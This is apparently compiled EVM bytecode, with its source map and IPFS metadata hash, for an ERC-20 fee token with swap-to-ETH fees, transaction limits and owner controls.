10a3f610a38610f28565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610bfb57506015546001600160a01b038681169116145b8015610c105750601554600160a81b900460ff165b8015610c1d575060125484115b15610c8157601254811115610c4957610c49610c4485610c3f84601354610f5e565b610f5e565b610f72565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c7f573d5f803e3d5ffd5b505b50610caf565b6004546001600160a01b0390811690861603610caf57600e54600f54610cac916110e2565b90505b8115610d2757305f90815260016020526040902054610cce9083611123565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1e9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d4990826110e2565b6001600160a01b0386165f90815260016020526040902055610d8c610d6e84846110e2565b6001600160a01b0386165f9081526001602052604090205490611123565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd586866110e2565b60405190815260200160405180910390a35050505050565b5f8184841115610e105760405162461bcd60e51b815260040161038a91906111ad565b505f610e1c84866114a7565b95945050505050565b5f600754600a5411610e38575060055490565b600754600a54118015610e4f5750600d54600a5411155b15610e5b5750600b5490565b50600e5490565b5f825f03610e7157505f6102d4565b5f610e7c83856113cb565b905082610e8985836114ba565b14610ee05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038a565b9392505050565b5f610ee083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611181565b5f600754600a5411610f3b575060065490565b600854600a54118015610f525750600d54600a5411155b15610e5b5750600c5490565b5f818311610f6c5782610ee0565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb857610fb86114d9565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110339190611417565b81600181518110611046576110466114d9565b6001600160a01b03928316602091820292909201015260145461106c9130911684610797565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a49085905f908690309042906004016114ed565b5f604051808303815f87803b1580156110bb575f80fd5b505af11580156110cd573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f610ee083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ded565b5f8061112f838561147c565b905083811015610ee05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038a565b5f81836111a15760405162461bcd60e51b815260040161038a91906111ad565b505f610e1c84866114ba565b5f6020808352835180828501525f5b818110156111d8578581018301518582016040015282016111bc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461120c575f80fd5b50565b5f8060408385031215611220575f80fd5b823561122b816111f8565b946020939093013593505050565b5f805f6060848603121561124b575f80fd5b8335611256816111f8565b92506020840135611266816111f8565b929592945050506040919091013590565b5f60208284031215611287575f80fd5b8135610ee0816111f8565b5f80604083850312156112a3575f80fd5b82356112ae816111f8565b915060208301356112be816111f8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131757815f19048211156112fd576112fd6112c9565b8085161561130a57918102915b93841c93908002906112e2565b509250929050565b5f8261132d575060016102d4565b8161133957505f6102d4565b816001811461134f576002811461135957611375565b60019150506102d4565b60ff84111561136a5761136a6112c9565b50506001821b6102d4565b5060208310610133831016604e8410600b8410161715611398575081810a6102d4565b6113a283836112dd565b805f19048211156113b5576113b56112c9565b029392505050565b5f610ee060ff84168361131f565b80820281158282048414176102d4576102d46112c9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611427575f80fd5b8151610ee0816111f8565b5f805f60608486031215611444575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561146d575f80fd5b81518015158114610ee0575f80fd5b808201808211156102d4576102d46112c9565b5f600182016114a0576114a06112c9565b5060010190565b818103818111156102d4576102d46112c9565b5f826114d457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561153b5784516001600160a01b031683529383019391830191600101611516565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c08045aea1c56238add652c0720a1ccf821770e92c8400c43098319ca84471e664736f6c63430008150033

3640:7330:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5486:83;;;;;;;;;;-1:-1:-1;5556:5:0;;;;;;;;;;;;-1:-1:-1;;;5556:5:0;;;;5486:83;;;;;;;:::i;:::-;;;;;;;;6319:161;;;;;;;;;;-1:-1:-1;6319:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6319:161:0;1023:187:1;5763:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5763:95:0;1215:177:1;6488:313:0;;;;;;;;;;-1:-1:-1;6488:313:0;;;;;:::i;:::-;;:::i;5672:83::-;;;;;;;;;;-1:-1:-1;5672:83:0;;4443:1;2000:36:1;;1988:2;1973:18;5672:83:0;1858:184:1;10211:583:0;;;;;;;;;;;;;:::i;:::-;;5866:119;;;;;;;;;;-1:-1:-1;5866:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5866:119;2721:148;;;;;;;;;;;;;:::i;10802:128::-;;;;;;;;;;;;;:::i;2507:79::-;;;;;;;;;;-1:-1:-1;2545:7:0;2572:6;2507:79;;-1:-1:-1;;;;;2572:6:0;;;2445:51:1;;2433:2;2418:18;2507:79:0;2299:203:1;5577:87:0;;;;;;;;;;-1:-1:-1;5649:7:0;;;;;;;;;;;;-1:-1:-1;;;5649:7:0;;;;5577:87;;5993:167;;;;;;;;;;-1:-1:-1;5993:167:0;;;;;:::i;:::-;;:::i;6168:143::-;;;;;;;;;;-1:-1:-1;6168:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6276:18:0;;;6249:7;6276:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6168:143;6319:161;6394:4;6411:39;342:10;6434:7;6443:6;6411:8;:39::i;:::-;-1:-1:-1;6468:4:0;6319:161;;;;;:::o;5763:95::-;5816:7;4499:13;4443:1;4499:2;:13;:::i;:::-;4486:26;;:10;:26;:::i;:::-;5836:14;;5763:95;:::o;6488:313::-;6586:4;6603:36;6613:6;6621:9;6632:6;6603:9;:36::i;:::-;6650:121;6659:6;342:10;6681:89;6719:6;6681:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6681:19:0;;;;;;:11;:19;;;;;;;;342:10;6681:33;;;;;;;;;;:37;:89::i;:::-;6650:8;:121::i;:::-;-1:-1:-1;6789:4:0;6488:313;;;;;:::o;10211:583::-;2634:6;;-1:-1:-1;;;;;2634:6:0;342:10;2634:22;2626:67;;;;-1:-1:-1;;;2626:67:0;;;;;;;:::i;:::-;;;;;;;;;10266:15:::1;:80:::0;;-1:-1:-1;;;;;;10266:80:0::1;10303:42;10266:80:::0;;::::1;::::0;;;10357:58:::1;::::0;10374:4:::1;::::0;4499:13:::1;4443:1;4499:2;:13;:::i;:::-;4486:26;::::0;:10:::1;:26;:::i;10357:58::-;10459:15;;;;;;;;;-1:-1:-1::0;;;;;10459:15:0::1;-1:-1:-1::0;;;;;10459:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10441:55:0::1;;10505:4;10512:15;;;;;;;;;-1:-1:-1::0;;;;;10512:15:0::1;-1:-1:-1::0;;;;;10512:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10441:94;::::0;-1:-1:-1;;;;;;10441:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;10441:94:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;10441:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10426:12;:109:::0;;-1:-1:-1;;;;;10426:109:0;;::::1;-1:-1:-1::0;;;;;;10426:109:0;;::::1;;::::0;;10546:15:::1;::::0;::::1;:31;10585:21;10616:4;10622:24;10616:4:::0;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5866:119;10622:24:::1;10647:1;10649::::0;10651:7:::1;2545::::0;2572:6;-1:-1:-1;;;;;2572:6:0;;2507:79;10651:7:::1;10546:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10546:129:0;;;-1:-1:-1;;;;;5873:15:1;;;10546:129:0::1;::::0;::::1;5855:34:1::0;5905:18;;;5898:34;;;;5948:18;;;5941:34;;;;5991:18;;;5984:34;6055:15;;;6034:19;;;6027:44;10659:15:0::1;6087:19:1::0;;;6080:35;5789:19;;10546:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10693:12:0::1;::::0;10723:15:::1;::::0;10686:70:::1;::::0;-1:-1:-1;;;10686:70:0;;-1:-1:-1;;;;;10723:15:0;;::::1;10686:70;::::0;::::1;6611:51:1::0;-1:-1:-1;;6678:18:1;;;6671:34;10693:12:0;::::1;::::0;-1:-1:-1;10686:28:0::1;::::0;6584:18:1;;10686:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10767:12:0::1;:19:::0;;-1:-1:-1;;;;10767:19:0::1;-1:-1:-1::0;;;10767:19:0::1;::::0;;10211:583::o;2721:148::-;2634:6;;-1:-1:-1;;;;;2634:6:0;342:10;2634:22;2626:67;;;;-1:-1:-1;;;2626:67:0;;;;;;;:::i;:::-;2828:1:::1;2812:6:::0;;2791:40:::1;::::0;-1:-1:-1;;;;;2812:6:0;;::::1;::::0;2791:40:::1;::::0;2828:1;;2791:40:::1;2859:1;2842:19:::0;;-1:-1:-1;;;;;;2842:19:0::1;::::0;;2721:148::o;10802:128::-;2634:6;;-1:-1:-1;;;;;2634:6:0;342:10;2634:22;2626:67;;;;-1:-1:-1;;;2626:67:0;;;;;;;:::i;:::-;4499:13:::1;4443:1;4499:2;:13;:::i;:::-;4486:26;::::0;:10:::1;:26;:::i;:::-;10855:17;:26:::0;4499:13:::1;4443:1;4499:2;:13;:::i;:::-;4486:26;::::0;:10:::1;:26;:::i;:::-;10892:20;:30:::0;10802:128::o;5993:167::-;6071:4;6088:42;342:10;6112:9;6123:6;6088:9;:42::i;6809:335::-;-1:-1:-1;;;;;6902:19:0;;6894:68;;;;-1:-1:-1;;;6894:68:0;;7200:2:1;6894:68:0;;;7182:21:1;7239:2;7219:18;;;7212:30;7278:34;7258:18;;;7251:62;-1:-1:-1;;;7329:18:1;;;7322:34;7373:19;;6894:68:0;6998:400:1;6894:68:0;-1:-1:-1;;;;;6981:21:0;;6973:68;;;;-1:-1:-1;;;6973:68:0;;7605:2:1;6973:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;6973:68:0;7403:398:1;6973:68:0;-1:-1:-1;;;;;7052:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7104:32;;1361:25:1;;;7104:32:0;;1334:18:1;7104:32:0;;;;;;;6809:335;;;:::o;7152:1807::-;-1:-1:-1;;;;;7240:18:0;;7232:68;;;;-1:-1:-1;;;7232:68:0;;8008:2:1;7232:68:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:35;8182:19;;7232:68:0;7806:401:1;7232:68:0;-1:-1:-1;;;;;7319:16:0;;7311:64;;;;-1:-1:-1;;;7311:64:0;;8414:2:1;7311:64:0;;;8396:21:1;8453:2;8433:18;;;8426:30;8492:34;8472:18;;;8465:62;-1:-1:-1;;;8543:18:1;;;8536:33;8586:19;;7311:64:0;8212:399:1;7311:64:0;7403:1;7394:6;:10;7386:64;;;;-1:-1:-1;;;7386:64:0;;8818:2:1;7386:64:0;;;8800:21:1;8857:2;8837:18;;;8830:30;8896:34;8876:18;;;8869:62;-1:-1:-1;;;8947:18:1;;;8940:39;8996:19;;7386:64:0;8616:405:1;7386:64:0;-1:-1:-1;;;;;7531:19:0;;7461:17;7531:19;;;:13;:19;;;;;;7509:6;;7531:19;;7530:20;:42;;;;-1:-1:-1;;;;;;7555:17:0;;;;;;:13;:17;;;;;;;;7554:18;7530:42;7526:1075;;;7601:35;7632:3;7601:26;7612:14;:12;:14::i;:::-;7601:6;;:10;:26::i;:::-;:30;;:35::i;:::-;7665:12;;7589:47;;-1:-1:-1;;;;;;7657:20:0;;;7665:12;;7657:20;:54;;;;-1:-1:-1;7695:15:0;;-1:-1:-1;;;;;7681:30:0;;;7695:15;;7681:30;;7657:54;:77;;;;-1:-1:-1;;;;;;7717:17:0;;;;;;:13;:17;;;;;;;;7715:19;7657:77;7653:331;;;7774:20;;7764:6;:30;;7756:76;;;;-1:-1:-1;;;7756:76:0;;9228:2:1;7756:76:0;;;9210:21:1;9267:2;9247:18;;;9240:30;9306:34;9286:18;;;9279:62;-1:-1:-1;;;9357:18:1;;;9350:31;9398:19;;7756:76:0;9026:397:1;7756:76:0;7885:17;;7875:6;7859:13;7869:2;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5866:119;7859:13;:22;;;;:::i;:::-;:43;;7851:82;;;;-1:-1:-1;;;7851:82:0;;9760:2:1;7851:82:0;;;9742:21:1;9799:2;9779:18;;;9772:30;9838:28;9818:18;;;9811:56;9884:18;;7851:82:0;9558:350:1;7851:82:0;7952:14;:16;;;:14;:16;;;:::i;:::-;;;;;;7653:331;8009:12;;-1:-1:-1;;;;;8003:18:0;;;8009:12;;8003:18;:42;;;;-1:-1:-1;;;;;;8025:20:0;;8040:4;8025:20;;8003:42;8000:130;;;8078:36;8110:3;8078:27;8089:15;:13;:15::i;8078:36::-;8066:48;;8000:130;8187:4;8146:20;5959:18;;;:9;:18;;;;;;8213:7;;-1:-1:-1;;;8213:7:0;;;;8212:8;:30;;;;-1:-1:-1;8230:12:0;;-1:-1:-1;;;;;8224:18:0;;;8230:12;;8224:18;8212:30;:46;;;;-1:-1:-1;8246:12:0;;-1:-1:-1;;;8246:12:0;;;;8212:46;:73;;;;;8271:14;;8262:6;:23;8212:73;8208:287;;;8324:14;;8309:12;:29;8306:111;;;8357:60;8372:44;8376:6;8383:32;8387:12;8400:14;;8383:3;:32::i;:::-;8372:3;:44::i;:::-;8357:14;:60::i;:::-;8436:11;;:43;;-1:-1:-1;;;;;8436:11:0;;;;8457:21;8436:43;;;;;:11;:43;:11;:43;8457:21;8436:11;:43;;;;;;;;;;;;;;;;;;;;;8208:287;7574:932;7526:1075;;;8531:11;;-1:-1:-1;;;;;8531:11:0;;;8515:28;;;;8512:89;;8588:12;;8570:13;;:31;;:17;:31::i;:::-;8558:43;;8512:89;8615:11;;8612:161;;8683:4;8665:24;;;;:9;:24;;;;;;:39;;8694:9;8665:28;:39::i;:::-;8658:4;8640:24;;;;:9;:24;;;;;;;:64;;;;8722:39;;-1:-1:-1;;;;;8722:39:0;;;;;;;8751:9;1361:25:1;;1349:2;1334:18;;1215:177;8722:39:0;;;;;;;;8612:161;-1:-1:-1;;;;;8799:15:0;;;;;;:9;:15;;;;;;:30;;8819:9;8799:19;:30::i;:::-;-1:-1:-1;;;;;8783:15:0;;;;;;:9;:15;;;;;:46;8854:40;8872:21;:6;8883:9;8872:10;:21::i;:::-;-1:-1:-1;;;;;8854:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8840:13:0;;;;;;;:9;:13;;;;;:54;;;;8910:41;;;8929:21;:6;8940:9;8929:10;:21::i;:::-;8910:41;;1361:25:1;;;1349:2;1334:18;8910:41:0;;;;;;;7221:1738;;7152:1807;;;:::o;1399:190::-;1485:7;1521:12;1513:6;;;;1505:29;;;;-1:-1:-1;;;1505:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1545:9:0;1557:5;1561:1;1557;:5;:::i;:::-;1545:17;1399:190;-1:-1:-1;;;;;1399:190:0:o;9292:314::-;9338:7;9379:12;;9361:14;;:30;9358:82;;-1:-1:-1;9414:14:0;;;9292:314::o;9358:82::-;9470:12;;9453:14;;:29;:67;;;;;9504:16;;9486:14;;:34;;9453:67;9450:118;;;-1:-1:-1;9543:13:0;;;9292:314::o;9450:118::-;-1:-1:-1;9586:12:0;;;9292:314::o;1597:246::-;1655:7;1679:1;1684;1679:6;1675:47;;-1:-1:-1;1709:1:0;1702:8;;1675:47;1732:9;1744:5;1748:1;1744;:5;:::i;:::-;1732:17;-1:-1:-1;1777:1:0;1768:5;1772:1;1732:17;1768:5;:::i;:::-;:10;1760:56;;;;-1:-1:-1;;;1760:56:0;;10610:2:1;1760:56:0;;;10592:21:1;10649:2;10629:18;;;10622:30;10688:34;10668:18;;;10661:62;-1:-1:-1;;;10739:18:1;;;10732:31;10780:19;;1760:56:0;10408:397:1;1760:56:0;1834:1;1597:246;-1:-1:-1;;;1597:246:0:o;1851:132::-;1909:7;1936:39;1940:1;1943;1936:39;;;;;;;;;;;;;;;;;:3;:39::i;8967:317::-;9014:7;9055:12;;9037:14;;:30;9034:83;;-1:-1:-1;9090:15:0;;;8967:317::o;9034:83::-;9147:13;;9130:14;;:30;:68;;;;;9182:16;;9164:14;;:34;;9130:68;9127:120;;;-1:-1:-1;9221:14:0;;;8967:317::o;9616:98::-;9673:7;9700:1;9698;:3;9697:9;;9705:1;9697:9;;;-1:-1:-1;9703:1:0;9616:98;-1:-1:-1;9616:98:0:o;9722:481::-;5076:7;:14;;-1:-1:-1;;;;5076:14:0;-1:-1:-1;;;5076:14:0;;;9822:16:::1;::::0;;9836:1:::1;9822:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9822:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9822:16:0::1;9798:40;;9867:4;9849;9854:1;9849:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9849:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9893:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9893:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9849:7;;9893:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9883:4;9888:1;9883:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9883:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9958:15:::1;::::0;9926:62:::1;::::0;9943:4:::1;::::0;9958:15:::1;9976:11:::0;9926:8:::1;:62::i;:::-;9999:15;::::0;:196:::1;::::0;-1:-1:-1;;;9999:196:0;;-1:-1:-1;;;;;9999:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10080:11;;9999:15:::1;::::0;10122:4;;10149::::1;::::0;10169:15:::1;::::0;9999:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5113:7:0;:15;;-1:-1:-1;;;;5113:15:0;;;-1:-1:-1;;;;9722:481:0:o;1255:136::-;1313:7;1340:43;1344:1;1347;1340:43;;;;;;;;;;;;;;;;;:3;:43::i;1068:179::-;1126:7;;1158:5;1162:1;1158;:5;:::i;:::-;1146:17;;1187:1;1182;:6;;1174:46;;;;-1:-1:-1;;;1174:46:0;;12261:2:1;1174:46:0;;;12243:21:1;12300:2;12280:18;;;12273:30;12339:29;12319:18;;;12312:57;12386:18;;1174:46:0;12059:351:1;1991:189:0;2077:7;2112:12;2105:5;2097:28;;;;-1:-1:-1;;;2097:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2136:9:0;2148:5;2152:1;2148;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6126:306::-;6214:6;6222;6230;6283:2;6271:9;6262:7;6258:23;6254:32;6251:52;;;6299:1;6296;6289:12;6251:52;6328:9;6322:16;6312:26;;6378:2;6367:9;6363:18;6357:25;6347:35;;6422:2;6411:9;6407:18;6401:25;6391:35;;6126:306;;;;;:::o;6716:277::-;6783:6;6836:2;6824:9;6815:7;6811:23;6807:32;6804:52;;;6852:1;6849;6842:12;6804:52;6884:9;6878:16;6937:5;6930:13;6923:21;6916:5;6913:32;6903:60;;6959:1;6956;6949:12;9428:125;9493:9;;;9514:10;;;9511:36;;;9527:18;;:::i;9913:135::-;9952:3;9973:17;;;9970:43;;9993:18;;:::i;:::-;-1:-1:-1;10040:1:1;10029:13;;9913:135::o;10053:128::-;10120:9;;;10141:11;;;10138:37;;;10155:18;;:::i;10186:217::-;10226:1;10252;10242:132;;10296:10;10291:3;10287:20;10284:1;10277:31;10331:4;10328:1;10321:15;10359:4;10356:1;10349:15;10242:132;-1:-1:-1;10388:9:1;;10186:217::o;10942:127::-;11003:10;10998:3;10994:20;10991:1;10984:31;11034:4;11031:1;11024:15;11058:4;11055:1;11048:15;11074:980;11336:4;11384:3;11373:9;11369:19;11415:6;11404:9;11397:25;11441:2;11479:6;11474:2;11463:9;11459:18;11452:34;11522:3;11517:2;11506:9;11502:18;11495:31;11546:6;11581;11575:13;11612:6;11604;11597:22;11650:3;11639:9;11635:19;11628:26;;11689:2;11681:6;11677:15;11663:29;;11710:1;11720:195;11734:6;11731:1;11728:13;11720:195;;;11799:13;;-1:-1:-1;;;;;11795:39:1;11783:52;;11890:15;;;;11855:12;;;;11831:1;11749:9;11720:195;;;-1:-1:-1;;;;;;;11971:32:1;;;;11966:2;11951:18;;11944:60;-1:-1:-1;;;12035:3:1;12020:19;12013:35;11932:3;11074:980;-1:-1:-1;;;11074:980:1:o

ipfs://c08045aea1c56238add652c0720a1ccf821770e92c8400c43098319ca84471e6